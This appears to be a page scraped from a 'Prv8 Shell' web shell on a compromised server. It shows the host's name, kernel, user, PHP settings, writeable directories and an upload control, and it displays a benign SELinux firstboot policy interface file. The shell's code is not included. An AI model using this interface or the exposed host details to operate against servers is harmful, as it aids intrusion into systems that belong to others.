Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/share/selinux/devel/include/contrib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/selinux/devel/include/contrib/firstboot.if
## <summary>
##	Final system configuration run during the first boot
##	after installation of Red Hat/Fedora systems.
## </summary>

########################################
## <summary>
##	Execute firstboot in the firstboot domain.
## </summary>
## <param name="domain">
##	<summary>
##	Domain allowed to transition.
##	</summary>
## </param>
#
interface(`firstboot_domtrans',`
	gen_require(`
		type firstboot_t, firstboot_exec_t;
	')

	domtrans_pattern($1, firstboot_exec_t, firstboot_t)
')

########################################
## <summary>
##	Execute firstboot in the firstboot domain, and
##	allow the specified role the firstboot domain.
## </summary>
## <param name="domain">
##	<summary>
##	Domain allowed to transition.
##	</summary>
## </param>
## <param name="role">
##	<summary>
##	Role allowed access.
##	</summary>
## </param>
#
interface(`firstboot_run',`
	gen_require(`
		type firstboot_t;
	')

	firstboot_domtrans($1)
	role $2 types firstboot_t;
')

########################################
## <summary>
##	Inherit and use a file descriptor from firstboot.
## </summary>
## <param name="domain">
##	<summary>
##	Domain allowed access.
##	</summary>
## </param>
#
interface(`firstboot_use_fds',`
	gen_require(`
		type firstboot_t;
	')

	allow $1 firstboot_t:fd use;
')

########################################
## <summary>
##	Do not audit attempts to inherit a
##	file descriptor from firstboot.
## </summary>
## <param name="domain">
##	<summary>
##	Domain to not audit.
##	</summary>
## </param>
#
interface(`firstboot_dontaudit_use_fds',`
	gen_require(`
		type firstboot_t;
	')

	dontaudit $1 firstboot_t:fd use;
')

########################################
## <summary>
##	dontaudit read and write an leaked file descriptors
## </summary>
## <param name="domain">
##	<summary>
##	Domain to not audit.
##	</summary>
## </param>
#
interface(`firstboot_dontaudit_leaks',`
	gen_require(`
		type firstboot_t;
	')

	dontaudit $1 firstboot_t:socket_class_set { read write };
	dontaudit $1 firstboot_t:fifo_file rw_inherited_fifo_file_perms;
')

########################################
## <summary>
##	Write to a firstboot unnamed pipe.
## </summary>
## <param name="domain">
##	<summary>
##	Domain allowed access.
##	</summary>
## </param>
#
interface(`firstboot_write_pipes',`
	gen_require(`
		type firstboot_t;
	')

	allow $1 firstboot_t:fd use;
	allow $1 firstboot_t:fifo_file write;
')

########################################
## <summary>
##	Read and Write to a firstboot unnamed pipe.
## </summary>
## <param name="domain">
##	<summary>
##	Domain allowed access.
##	</summary>
## </param>
#
interface(`firstboot_rw_pipes',`
	gen_require(`
		type firstboot_t;
	')

	allow $1 firstboot_t:fifo_file { read write };
')

########################################
## <summary>
## 	Do not audit attemps to read and write to a firstboot unnamed pipe.
## </summary>
## <param name="domain">
##	<summary>
##	Domain to not audit.
##	</summary>
## </param>
#
interface(`firstboot_dontaudit_rw_pipes',`
	gen_require(`
		type firstboot_t;
	')

	dontaudit $1 firstboot_t:fifo_file { read write };
')

########################################
## <summary>
## 	Do not audit attemps to read and write to a firstboot
##	unix domain stream socket.
## </summary>
## <param name="domain">
##	<summary>
##	Domain to not audit.
##	</summary>
## </param>
#
interface(`firstboot_dontaudit_rw_stream_sockets',`
	gen_require(`
		type firstboot_t;
	')

	dontaudit $1 firstboot_t:unix_stream_socket { read write };
')

haha - 2025